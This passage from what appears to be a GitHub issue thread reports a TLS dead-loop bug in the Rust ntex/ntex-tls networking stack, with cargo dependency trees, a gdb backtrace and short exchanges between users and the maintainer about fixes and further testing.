│ │ │ ├── memchr v2.6.4
│ │ │ ├── regex-automata v0.4.3
│ │ │ │ ├── aho-corasick v1.1.2 (*)
│ │ │ │ ├── memchr v2.6.4
│ │ │ │ └── regex-syntax v0.8.2
│ │ │ └── regex-syntax v0.8.2
│ │ └── serde v1.0.192 (*)
│ ├── ntex-rt v0.4.10 (*)
│ ├── ntex-service v1.2.7 (*)
│ ├── ntex-tls v0.3.3 (*)
│ ├── ntex-tokio v0.3.1 (*)
│ ├── ntex-util v0.3.4 (*)
│ ├── percent-encoding v2.3.0
│ ├── pin-project-lite v0.2.13
│ ├── polling v3.3.0
│ │ ├── cfg-if v1.0.0
│ │ ├── rustix v0.38.21
│ │ │ ├── bitflags v2.4.1
│ │ │ └── linux-raw-sys v0.4.11
│ │ └── tracing v0.1.40
│ │ ├── pin-project-lite v0.2.13
│ │ └── tracing-core v0.1.32
│ │ └── once_cell v1.18.0
│ ├── regex v1.10.2 (*)
│ ├── rustls v0.21.8 (*)
│ ├── serde v1.0.192 (*)
│ ├── serde_json v1.0.108
│ │ ├── itoa v1.0.9
│ │ ├── ryu v1.0.15
│ │ └── serde v1.0.192 (*)
│ ├── serde_urlencoded v0.7.1
│ │ ├── form_urlencoded v1.2.0
│ │ │ └── percent-encoding v2.3.0
│ │ ├── itoa v1.0.9
│ │ ├── ryu v1.0.15
│ │ └── serde v1.0.192 (*)
│ ├── sha-1 v0.10.1
│ │ ├── cfg-if v1.0.0
│ │ ├── cpufeatures v0.2.11
│ │ └── digest v0.10.7
│ │ ├── block-buffer v0.10.4
│ │ │ └── generic-array v0.14.7 (*)
│ │ └── crypto-common v0.1.6 (*)
│ ├── socket2 v0.5.5 (*)
│ ├── thiserror v1.0.50 (*)
│ └── webpki-roots v0.25.2
├── clia-ntex-files v0.3.0
│ ├── bitflags v2.4.1
│ ├── derive_more v0.99.17 (proc-macro) (*)
│ ├── futures v0.3.29 (*)
│ ├── http v0.2.10 (*)
│ ├── httpdate v1.0.3
│ ├── language-tags v0.3.2
│ ├── log v0.4.20
│ ├── mime v0.3.17
│ ├── mime_guess v2.0.4
│ │ ├── mime v0.3.17
│ │ └── unicase v2.7.0
│ │ [build-dependencies]
│ │ └── version_check v0.9.4
│ │ [build-dependencies]
│ │ └── unicase v2.7.0 (*)
│ ├── ntex v0.7.10 (*)
│ ├── ntex-http v0.1.10 (*)
│ ├── percent-encoding v2.3.0
│ ├── unicase v2.7.0 (*)
│ └── v_htmlescape v0.15.8
├── data-rw v1.6.4
│ ├── anyhow v1.0.75
│ ├── auto_impl v1.1.0 (proc-macro)
│ │ ├── proc-macro-error v1.0.4
│ │ │ ├── proc-macro-error-attr v1.0.4 (proc-macro)
│ │ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ │ └── quote v1.0.33 (*)
│ │ │ │ [build-dependencies]
│ │ │ │ └── version_check v0.9.4
│ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ ├── quote v1.0.33 (*)
│ │ │ └── syn v1.0.109 (*)
│ │ │ [build-dependencies]
│ │ │ └── version_check v0.9.4
│ │ ├── proc-macro2 v1.0.69 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v1.0.109 (*)
│ ├── cfg-if v1.0.0
│ ├── paste v1.0.14 (proc-macro)
│ ├── rmp-serde v1.1.2
│ │ ├── byteorder v1.5.0
│ │ ├── rmp v0.8.12
│ │ │ ├── byteorder v1.5.0
│ │ │ ├── num-traits v0.2.17
│ │ │ │ [build-dependencies]
│ │ │ │ └── autocfg v1.1.0
│ │ │ └── paste v1.0.14 (proc-macro)
│ │ └── serde v1.0.192 (*)
│ └── serde v1.0.192 (*)
├── dlib-face-recognition v0.3.0 (/root/face_https_server/dlib-face-recognition)
│ ├── bzip2 v0.4.4
│ │ ├── bzip2-sys v0.1.11+1.0.8
│ │ │ └── libc v0.2.150
│ │ │ [build-dependencies]
│ │ │ ├── cc v1.0.84 (*)
│ │ │ └── pkg-config v0.3.27
│ │ └── libc v0.2.150
│ ├── cpp v0.5.9
│ │ └── cpp_macros v0.5.9 (proc-macro)
│ │ ├── aho-corasick v1.1.2 (*)
│ │ ├── byteorder v1.5.0
│ │ ├── cpp_common v0.5.9
│ │ │ ├── lazy_static v1.4.0
│ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ └── syn v2.0.39 (*)
│ │ ├── lazy_static v1.4.0
│ │ ├── proc-macro2 v1.0.69 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v2.0.39 (*)
│ ├── dlib-face-recognition-sys v19.24.0-rc.1 (/root/face_https_server/dlib-face-recognition/sys)
│ │ [build-dependencies]
│ │ ├── cmake v0.1.50
│ │ │ └── cc v1.0.84 (*)
│ │ ├── fs_extra v1.3.0
│ │ ├── glob v0.3.1
│ │ ├── pkg-config v0.3.27
│ │ ├── reqwest v0.11.22
│ │ │ ├── base64 v0.21.5
│ │ │ ├── bytes v1.5.0
│ │ │ ├── encoding_rs v0.8.33 (*)
│ │ │ ├── futures-core v0.3.29
│ │ │ ├── futures-util v0.3.29
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-io v0.3.29
│ │ │ │ ├── futures-task v0.3.29
│ │ │ │ ├── memchr v2.6.4
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ ├── pin-utils v0.1.0
│ │ │ │ └── slab v0.4.9 (*)
│ │ │ ├── h2 v0.3.21
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── fnv v1.0.7
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-sink v0.3.29
│ │ │ │ ├── futures-util v0.3.29 (*)
│ │ │ │ ├── http v0.2.10 (*)
│ │ │ │ ├── indexmap v1.9.3
│ │ │ │ │ └── hashbrown v0.12.3
│ │ │ │ │ [build-dependencies]
│ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ ├── slab v0.4.9 (*)
│ │ │ │ ├── tokio v1.34.0
│ │ │ │ │ ├── bytes v1.5.0
│ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ ├── mio v0.8.9 (*)
│ │ │ │ │ ├── num_cpus v1.16.0 (*)
│ │ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ │ └── socket2 v0.5.5 (*)
│ │ │ │ ├── tokio-util v0.7.10
│ │ │ │ │ ├── bytes v1.5.0
│ │ │ │ │ ├── futures-core v0.3.29
│ │ │ │ │ ├── futures-sink v0.3.29
│ │ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ │ ├── tokio v1.34.0 (*)
│ │ │ │ │ └── tracing v0.1.40 (*)
│ │ │ │ └── tracing v0.1.40 (*)
│ │ │ ├── http v0.2.10 (*)
│ │ │ ├── http-body v0.4.5
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── http v0.2.10 (*)
│ │ │ │ └── pin-project-lite v0.2.13
│ │ │ ├── hyper v0.14.27
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── futures-channel v0.3.29
│ │ │ │ │ └── futures-core v0.3.29
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-util v0.3.29 (*)
│ │ │ │ ├── h2 v0.3.21 (*)
│ │ │ │ ├── http v0.2.10 (*)
│ │ │ │ ├── http-body v0.4.5 (*)
│ │ │ │ ├── httparse v1.8.0
│ │ │ │ ├── httpdate v1.0.3
│ │ │ │ ├── itoa v1.0.9
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ ├── socket2 v0.4.10
│ │ │ │ │ └── libc v0.2.150
│ │ │ │ ├── tokio v1.34.0 (*)
│ │ │ │ ├── tower-service v0.3.2
│ │ │ │ ├── tracing v0.1.40 (*)
│ │ │ │ └── want v0.3.1
│ │ │ │ └── try-lock v0.2.4
│ │ │ ├── hyper-tls v0.5.0
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── hyper v0.14.27 (*)
│ │ │ │ ├── native-tls v0.2.11
│ │ │ │ │ ├── log v0.4.20
│ │ │ │ │ ├── openssl v0.10.59
│ │ │ │ │ │ ├── bitflags v2.4.1
│ │ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ │ ├── foreign-types v0.3.2
│ │ │ │ │ │ │ └── foreign-types-shared v0.1.1
│ │ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ │ ├── once_cell v1.18.0
│ │ │ │ │ │ ├── openssl-macros v0.1.1 (proc-macro)
│ │ │ │ │ │ │ ├── proc-macro2 v1.0.69 (*)
│ │ │ │ │ │ │ ├── quote v1.0.33 (*)
│ │ │ │ │ │ │ └── syn v2.0.39 (*)
│ │ │ │ │ │ └── openssl-sys v0.9.95
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ ├── cc v1.0.84 (*)
│ │ │ │ │ │ ├── pkg-config v0.3.27
│ │ │ │ │ │ └── vcpkg v0.2.15
│ │ │ │ │ ├── openssl-probe v0.1.5
│ │ │ │ │ └── openssl-sys v0.9.95 (*)
│ │ │ │ ├── tokio v1.34.0 (*)
│ │ │ │ └── tokio-native-tls v0.3.1
│ │ │ │ ├── native-tls v0.2.11 (*)
│ │ │ │ └── tokio v1.34.0 (*)
│ │ │ ├── ipnet v2.9.0
│ │ │ ├── log v0.4.20
│ │ │ ├── mime v0.3.17
│ │ │ ├── native-tls v0.2.11 (*)
│ │ │ ├── once_cell v1.18.0
│ │ │ ├── percent-encoding v2.3.0
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ ├── serde v1.0.192
│ │ │ ├── serde_urlencoded v0.7.1 (*)
│ │ │ ├── tokio v1.34.0 (*)
│ │ │ ├── tokio-native-tls v0.3.1 (*)
│ │ │ ├── tower-service v0.3.2
│ │ │ └── url v2.4.1
│ │ │ ├── form_urlencoded v1.2.0 (*)
│ │ │ ├── idna v0.4.0
│ │ │ │ ├── unicode-bidi v0.3.13
│ │ │ │ └── unicode-normalization v0.1.22
│ │ │ │ └── tinyvec v1.6.0
│ │ │ │ └── tinyvec_macros v0.1.1
│ │ │ └── percent-encoding v2.3.0
│ │ └── zip v0.5.13
│ │ ├── byteorder v1.5.0
│ │ ├── bzip2 v0.4.4 (*)
│ │ ├── crc32fast v1.3.2 (*)
│ │ ├── flate2 v1.0.28
│ │ │ ├── crc32fast v1.3.2 (*)
│ │ │ └── miniz_oxide v0.7.1
│ │ │ └── adler v1.0.2
│ │ ├── thiserror v1.0.50 (*)
│ │ └── time v0.1.45
│ │ └── libc v0.2.150
│ ├── image v0.24.7
│ │ ├── bytemuck v1.14.0
│ │ ├── byteorder v1.5.0
│ │ ├── color_quant v1.1.0
│ │ ├── exr v1.71.0
│ │ │ ├── bit_field v0.10.2
│ │ │ ├── flume v0.11.0
│ │ │ │ └── spin v0.9.8 (*)
│ │ │ ├── half v2.2.1
│ │ │ ├── lebe v0.5.2
│ │ │ ├── miniz_oxide v0.7.1 (*)
│ │ │ ├── rayon-core v1.12.0
│ │ │ │ ├── crossbeam-deque v0.8.3
│ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ ├── crossbeam-epoch v0.9.15
│ │ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ │ ├── crossbeam-utils v0.8.16 (*)
│ │ │ │ │ │ ├── memoffset v0.9.0
│ │ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ │ │ └── scopeguard v1.2.0
│ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ │ └── crossbeam-utils v0.8.16 (*)
│ │ │ │ └── crossbeam-utils v0.8.16 (*)
│ │ │ ├── smallvec v1.11.2
│ │ │ └── zune-inflate v0.2.54
│ │ │ └── simd-adler32 v0.3.7
│ │ ├── gif v0.12.0
│ │ │ ├── color_quant v1.1.0
│ │ │ └── weezl v0.1.7
│ │ ├── jpeg-decoder v0.3.0
│ │ │ └── rayon v1.8.0
│ │ │ ├── either v1.9.0
│ │ │ └── rayon-core v1.12.0 (*)
│ │ ├── num-rational v0.4.1
│ │ │ ├── num-integer v0.1.45
│ │ │ │ └── num-traits v0.2.17 (*)
│ │ │ │ [build-dependencies]
│ │ │ │ └── autocfg v1.1.0
│ │ │ └── num-traits v0.2.17 (*)
│ │ │ [build-dependencies]
│ │ │ └── autocfg v1.1.0
│ │ ├── num-traits v0.2.17 (*)
│ │ ├── png v0.17.10
│ │ │ ├── bitflags v1.3.2
│ │ │ ├── crc32fast v1.3.2 (*)
│ │ │ ├── fdeflate v0.3.1
│ │ │ │ └── simd-adler32 v0.3.7
│ │ │ ├── flate2 v1.0.28 (*)
│ │ │ └── miniz_oxide v0.7.1 (*)
│ │ ├── qoi v0.4.1
│ │ │ └── bytemuck v1.14.0
│ │ └── tiff v0.9.0
│ │ ├── flate2 v1.0.28 (*)
│ │ ├── jpeg-decoder v0.3.0 (*)
│ │ └── weezl v0.1.7
│ └── reqwest v0.11.22 (*)
│ [build-dependencies]
│ └── cpp_build v0.5.9
│ ├── cc v1.0.84 (*)
│ ├── cpp_common v0.5.9 (*)
│ ├── lazy_static v1.4.0
│ ├── proc-macro2 v1.0.69 (*)
│ ├── regex v1.10.2 (*)
│ ├── syn v2.0.39 (*)
│ └── unicode-xid v0.2.4
├── flexi_logger v0.25.6
│ ├── chrono v0.4.31
│ │ ├── iana-time-zone v0.1.58
│ │ └── num-traits v0.2.17 (*)
│ ├── crossbeam-channel v0.5.8
│ │ ├── cfg-if v1.0.0
│ │ └── crossbeam-utils v0.8.16 (*)
│ ├── crossbeam-queue v0.3.8
│ │ ├── cfg-if v1.0.0
│ │ └── crossbeam-utils v0.8.16 (*)
│ ├── glob v0.3.1
│ ├── is-terminal v0.4.9
│ │ └── rustix v0.38.21 (*)
│ ├── lazy_static v1.4.0
│ ├── log v0.4.20
│ ├── nu-ansi-term v0.49.0
│ ├── regex v1.10.2 (*)
│ └── thiserror v1.0.50 (*)
├── futures v0.3.29 (*)
├── image v0.24.7 (*)
├── lazy_static v1.4.0
├── log v0.4.20
├── ntex v0.7.10 (*)
├── rustls v0.21.8 (*)
├── rustls-pemfile v1.0.4
│ └── base64 v0.21.5
├── serde v1.0.192 (*)
├── serde_json v1.0.108 (*)
└── tokio v1.34.0 (*)
[build-dependencies]
├── anyhow v1.0.75
└── vergen v8.1.3
├── anyhow v1.0.75
├── rustc_version v0.4.0 (*)
├── sysinfo v0.28.4
│ ├── cfg-if v1.0.0
│ ├── libc v0.2.150
│ └── once_cell v1.18.0
└── time v0.3.30
├── deranged v0.3.9
│ └── powerfmt v0.2.0
├── itoa v1.0.9
├── powerfmt v0.2.0
└── time-core v0.1.2
[build-dependencies]
└── rustversion v1.0.14 (proc-macro)I feel like ntex_io does not contain a complete TLS packet, and new packets are not filled in afterwards, resulting in a dead loop,this problem is difficult to occur on a local area network. The worse the network, the higher the frequency of occurrence. I guess it's because TLS data has received a portion and cannot be fully processed
fafhrd91
commented
10 months ago I see what is the problem, will try to fix this weekend.
juddbaguio
commented
9 months ago Is the issue still ongoing?
juddbaguio
commented
9 months ago Is the issue still ongoing?
luyikk
commented
9 months ago Is the issue still ongoing?
before formal notification, it should be...
luyikk
commented
9 months ago I have been running steadily for a while now and I think the problem has been resolved.. thank you again,god blesses you! @fafhrd91
clia
commented
9 months ago Fixed in these latest versions. Great job! @fafhrd91
fafhrd91
commented
9 months ago let's keep open for now. I want to do more testing
luyikk
commented
9 months ago Unfortunately, another problem has arisen,here are some information:
bt:
#0 0x0000561821022dbe in rustls::conn::ConnectionCommon<Data>::complete_io ()
#1 0x000056182102b80e in ntex_io::buf::Stack::write_buf::{{closure}} ()
#2 0x000056182102f147 in <ntex_tls::rustls::TlsAcceptor as ntex_io::FilterFactory<F>>::create::{{closure}} ()
#3 0x00005618210356f6 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#4 0x0000561820fe7b6e in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#5 0x0000561821035e3b in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#6 0x0000561820ffb23c in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#7 0x00005618210e08e1 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#8 0x00005618210f9dbe in <ntex::server::worker::Worker as core::future::future::Future>::poll::{{closure}} ()
#9 0x0000000000000002 in ?? ()
#10 0x00007fd74f651620 in ?? ()
#11 0x00007fd74f6516c0 in ?? ()
#12 0x0000000000000001 in ?? ()
#13 0x00005618210d9fb7 in tokio::runtime::task::raw::poll ()
#14 0x0000561821449c0b in tokio::task::local::LocalSet::tick ()
#15 0x00005618212d95c8 in tokio::task::local::LocalSet::run_until::{{closure}} ()
#16 0x00005618212d5f09 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#17 0x00005618212d6f2e in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#18 0x0000561821584935 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#19 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#20 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#21 0x00007fd79bbfdac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#22 0x00007fd79bc8fa40 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#23 0x0000000000000000 in ?? ()cargo tree:
├── aes-gcm v0.10.3
│ ├── aead v0.5.2
│ │ ├── crypto-common v0.1.6
│ │ │ ├── generic-array v0.14.7
│ │ │ │ └── typenum v1.17.0
│ │ │ │ [build-dependencies]
│ │ │ │ └── version_check v0.9.4
│ │ │ ├── rand_core v0.6.4
│ │ │ │ └── getrandom v0.2.11
│ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ └── libc v0.2.150
│ │ │ └── typenum v1.17.0
│ │ └── generic-array v0.14.7 (*)
│ ├── aes v0.8.3
│ │ ├── cfg-if v1.0.0
│ │ ├── cipher v0.4.4
│ │ │ ├── crypto-common v0.1.6 (*)
│ │ │ └── inout v0.1.3
│ │ │ └── generic-array v0.14.7 (*)
│ │ └── cpufeatures v0.2.11
│ ├── cipher v0.4.4 (*)
│ ├── ctr v0.9.2
│ │ └── cipher v0.4.4 (*)
│ ├── ghash v0.5.0
│ │ ├── opaque-debug v0.3.0
│ │ └── polyval v0.6.1
│ │ ├── cfg-if v1.0.0
│ │ ├── cpufeatures v0.2.11
│ │ ├── opaque-debug v0.3.0
│ │ └── universal-hash v0.5.1
│ │ ├── crypto-common v0.1.6 (*)
│ │ └── subtle v2.5.0
│ └── subtle v2.5.0
├── anyhow v1.0.75
├── aqueue v1.3.5
│ ├── async-lock v2.6.0
│ │ ├── event-listener v2.5.3
│ │ └── futures-lite v1.13.0
│ │ ├── fastrand v1.9.0
│ │ ├── futures-core v0.3.29
│ │ ├── futures-io v0.3.29
│ │ ├── memchr v2.6.4
│ │ ├── parking v2.2.0
│ │ ├── pin-project-lite v0.2.13
│ │ └── waker-fn v1.1.1
│ └── async-trait v0.1.74 (proc-macro)
│ ├── proc-macro2 v1.0.70
│ │ └── unicode-ident v1.0.12
│ ├── quote v1.0.33
│ │ └── proc-macro2 v1.0.70 (*)
│ └── syn v2.0.39
│ ├── proc-macro2 v1.0.70 (*)
│ ├── quote v1.0.33 (*)
│ └── unicode-ident v1.0.12
├── async-trait v0.1.74 (proc-macro) (*)
├── base64 v0.21.5
├── clap v4.4.11
│ ├── clap_builder v4.4.11
│ │ ├── anstream v0.6.4
│ │ │ ├── anstyle v1.0.4
│ │ │ ├── anstyle-parse v0.2.3
│ │ │ │ └── utf8parse v0.2.1
│ │ │ ├── anstyle-query v1.0.1
│ │ │ ├── colorchoice v1.0.0
│ │ │ └── utf8parse v0.2.1
│ │ ├── anstyle v1.0.4
│ │ ├── clap_lex v0.6.0
│ │ └── strsim v0.10.0
│ └── clap_derive v4.4.7 (proc-macro)
│ ├── heck v0.4.1
│ ├── proc-macro2 v1.0.70 (*)
│ ├── quote v1.0.33 (*)
│ └── syn v2.0.39 (*)
├── clia-ntex-cors v0.4.0
│ ├── derive_more v0.99.17 (proc-macro)
│ │ ├── convert_case v0.4.0
│ │ ├── proc-macro2 v1.0.70 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v1.0.109
│ │ ├── proc-macro2 v1.0.70 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── unicode-ident v1.0.12
│ │ [build-dependencies]
│ │ └── rustc_version v0.4.0
│ │ └── semver v1.0.20
│ ├── futures v0.3.29
│ │ ├── futures-channel v0.3.29
│ │ │ ├── futures-core v0.3.29
│ │ │ └── futures-sink v0.3.29
│ │ ├── futures-core v0.3.29
│ │ ├── futures-executor v0.3.29
│ │ │ ├── futures-core v0.3.29
│ │ │ ├── futures-task v0.3.29
│ │ │ └── futures-util v0.3.29
│ │ │ ├── futures-channel v0.3.29 (*)
│ │ │ ├── futures-core v0.3.29
│ │ │ ├── futures-io v0.3.29
│ │ │ ├── futures-macro v0.3.29 (proc-macro)
│ │ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ │ ├── quote v1.0.33 (*)
│ │ │ │ └── syn v2.0.39 (*)
│ │ │ ├── futures-sink v0.3.29
│ │ │ ├── futures-task v0.3.29
│ │ │ ├── memchr v2.6.4
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ ├── pin-utils v0.1.0
│ │ │ └── slab v0.4.9
│ │ │ [build-dependencies]
│ │ │ └── autocfg v1.1.0
│ │ ├── futures-io v0.3.29
│ │ ├── futures-sink v0.3.29
│ │ ├── futures-task v0.3.29
│ │ └── futures-util v0.3.29 (*)
│ └── ntex v0.7.13
│ ├── async-channel v2.1.1
│ │ ├── concurrent-queue v2.4.0
│ │ │ └── crossbeam-utils v0.8.16
│ │ │ └── cfg-if v1.0.0
│ │ ├── event-listener v4.0.0
│ │ │ ├── concurrent-queue v2.4.0 (*)
│ │ │ ├── parking v2.2.0
│ │ │ └── pin-project-lite v0.2.13
│ │ ├── event-listener-strategy v0.4.0
│ │ │ ├── event-listener v4.0.0 (*)
│ │ │ └── pin-project-lite v0.2.13
│ │ ├── futures-core v0.3.29
│ │ └── pin-project-lite v0.2.13
│ ├── base64 v0.21.5
│ ├── bitflags v2.4.1
│ ├── brotli2 v0.3.2
│ │ ├── brotli-sys v0.3.2
│ │ │ └── libc v0.2.150
│ │ │ [build-dependencies]
│ │ │ └── cc v1.0.83
│ │ │ └── libc v0.2.150
│ │ └── libc v0.2.150
│ ├── encoding_rs v0.8.33
│ │ └── cfg-if v1.0.0
│ ├── flate2 v1.0.28
│ │ ├── crc32fast v1.3.2
│ │ │ └── cfg-if v1.0.0
│ │ └── miniz_oxide v0.7.1
│ │ ├── adler v1.0.2
│ │ └── simd-adler32 v0.3.7
│ ├── httparse v1.8.0
│ ├── httpdate v1.0.3
│ ├── log v0.4.20
│ ├── mime v0.3.17
│ ├── nanorand v0.7.0
│ ├── ntex-bytes v0.1.21
│ │ ├── bitflags v2.4.1
│ │ ├── bytes v1.5.0
│ │ ├── futures-core v0.3.29
│ │ └── serde v1.0.193
│ │ └── serde_derive v1.0.193 (proc-macro)
│ │ ├── proc-macro2 v1.0.70 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v2.0.39 (*)
│ ├── ntex-codec v0.6.2
│ │ └── ntex-bytes v0.1.21 (*)
│ ├── ntex-connect v0.3.2
│ │ ├── log v0.4.20
│ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-http v0.1.11
│ │ │ ├── fxhash v0.2.1
│ │ │ │ └── byteorder v1.5.0
│ │ │ ├── http v0.2.11
│ │ │ │ ├── bytes v1.5.0
│ │ │ │ ├── fnv v1.0.7
│ │ │ │ └── itoa v1.0.9
│ │ │ ├── itoa v1.0.9
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ └── serde v1.0.193 (*)
│ │ ├── ntex-io v0.3.13
│ │ │ ├── bitflags v2.4.1
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-codec v0.6.2 (*)
│ │ │ ├── ntex-service v1.2.7
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ └── slab v0.4.9 (*)
│ │ │ ├── ntex-util v0.3.4
│ │ │ │ ├── bitflags v2.4.1
│ │ │ │ ├── futures-core v0.3.29
│ │ │ │ ├── futures-sink v0.3.29
│ │ │ │ ├── futures-timer v3.0.2
│ │ │ │ ├── fxhash v0.2.1 (*)
│ │ │ │ ├── log v0.4.20
│ │ │ │ ├── ntex-rt v0.4.11
│ │ │ │ │ ├── async-channel v2.1.1 (*)
│ │ │ │ │ ├── futures-core v0.3.29
│ │ │ │ │ ├── log v0.4.20
│ │ │ │ │ ├── oneshot v0.1.6
│ │ │ │ │ └── tokio v1.34.0
│ │ │ │ │ ├── bytes v1.5.0
│ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ ├── mio v0.8.9
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ ├── num_cpus v1.16.0
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ ├── parking_lot v0.12.1
│ │ │ │ │ │ ├── lock_api v0.4.11
│ │ │ │ │ │ │ └── scopeguard v1.2.0
│ │ │ │ │ │ │ [build-dependencies]
│ │ │ │ │ │ │ └── autocfg v1.1.0
│ │ │ │ │ │ └── parking_lot_core v0.9.9
│ │ │ │ │ │ ├── cfg-if v1.0.0
│ │ │ │ │ │ ├── libc v0.2.150
│ │ │ │ │ │ └── smallvec v1.11.2
│ │ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ │ ├── signal-hook-registry v1.4.1
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ ├── socket2 v0.5.5
│ │ │ │ │ │ └── libc v0.2.150
│ │ │ │ │ └── tokio-macros v2.2.0 (proc-macro)
│ │ │ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ │ │ ├── quote v1.0.33 (*)
│ │ │ │ │ └── syn v2.0.39 (*)
│ │ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ │ ├── pin-project-lite v0.2.13
│ │ │ │ └── slab v0.4.9 (*)
│ │ │ └── pin-project-lite v0.2.13
│ │ ├── ntex-rt v0.4.11 (*)
│ │ ├── ntex-service v1.2.7 (*)
│ │ ├── ntex-tls v0.3.3
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-io v0.3.13 (*)
│ │ │ ├── ntex-service v1.2.7 (*)
│ │ │ ├── ntex-util v0.3.4 (*)
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ └── rustls v0.21.9
│ │ │ ├── log v0.4.20
│ │ │ ├── ring v0.17.6
│ │ │ │ ├── getrandom v0.2.11 (*)
│ │ │ │ ├── spin v0.9.8
│ │ │ │ │ └── lock_api v0.4.11 (*)
│ │ │ │ └── untrusted v0.9.0
│ │ │ │ [build-dependencies]
│ │ │ │ └── cc v1.0.83 (*)
│ │ │ ├── rustls-webpki v0.101.7
│ │ │ │ ├── ring v0.17.6 (*)
│ │ │ │ └── untrusted v0.9.0
│ │ │ └── sct v0.7.1
│ │ │ ├── ring v0.17.6 (*)
│ │ │ └── untrusted v0.9.0
│ │ ├── ntex-tokio v0.3.1
│ │ │ ├── log v0.4.20
│ │ │ ├── ntex-bytes v0.1.21 (*)
│ │ │ ├── ntex-io v0.3.13 (*)
│ │ │ ├── ntex-util v0.3.4 (*)
│ │ │ ├── pin-project-lite v0.2.13
│ │ │ └── tokio v1.34.0 (*)
│ │ ├── ntex-util v0.3.4 (*)
│ │ ├── rustls v0.21.9 (*)
│ │ ├── thiserror v1.0.50
│ │ │ └── thiserror-impl v1.0.50 (proc-macro)
│ │ │ ├── proc-macro2 v1.0.70 (*)
│ │ │ ├── quote v1.0.33 (*)
│ │ │ └── syn v2.0.39 (*)
│ │ └── webpki-roots v0.25.3
│ ├── ntex-h2 v0.4.4
│ │ ├── bitflags v2.4.1
│ │ ├── fxhash v0.2.1 (*)
│ │ ├── log v0.4.20
│ │ ├── nanorand v0.7.0
│ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── ntex-codec v0.6.2 (*)
│ │ ├── ntex-connect v0.3.2 (*)
│ │ ├── ntex-http v0.1.11 (*)
│ │ ├── ntex-io v0.3.13 (*)
│ │ ├── ntex-rt v0.4.11 (*)
│ │ ├── ntex-service v1.2.7 (*)
│ │ ├── ntex-util v0.3.4 (*)
│ │ ├── pin-project-lite v0.2.13
│ │ └── thiserror v1.0.50 (*)
│ ├── ntex-http v0.1.11 (*)
│ ├── ntex-io v0.3.13 (*)
│ ├── ntex-macros v0.1.3 (proc-macro)
│ │ ├── proc-macro2 v1.0.70 (*)
│ │ ├── quote v1.0.33 (*)
│ │ └── syn v1.0.109 (*)
│ ├── ntex-router v0.5.2
│ │ ├── http v0.2.11 (*)
│ │ ├── log v0.4.20
│ │ ├── ntex-bytes v0.1.21 (*)
│ │ ├── regex v1.10.2
│ │ │ ├── aho-corasick v1.1.2
│ │ │ │ └── memchr v2.6.4
│ │ │ ├── memchr v2.6.4
│ │ │ ├── regex-automata v0.4.3
│ │ │ │ ├── aho-corasick v1.1.2 (*)
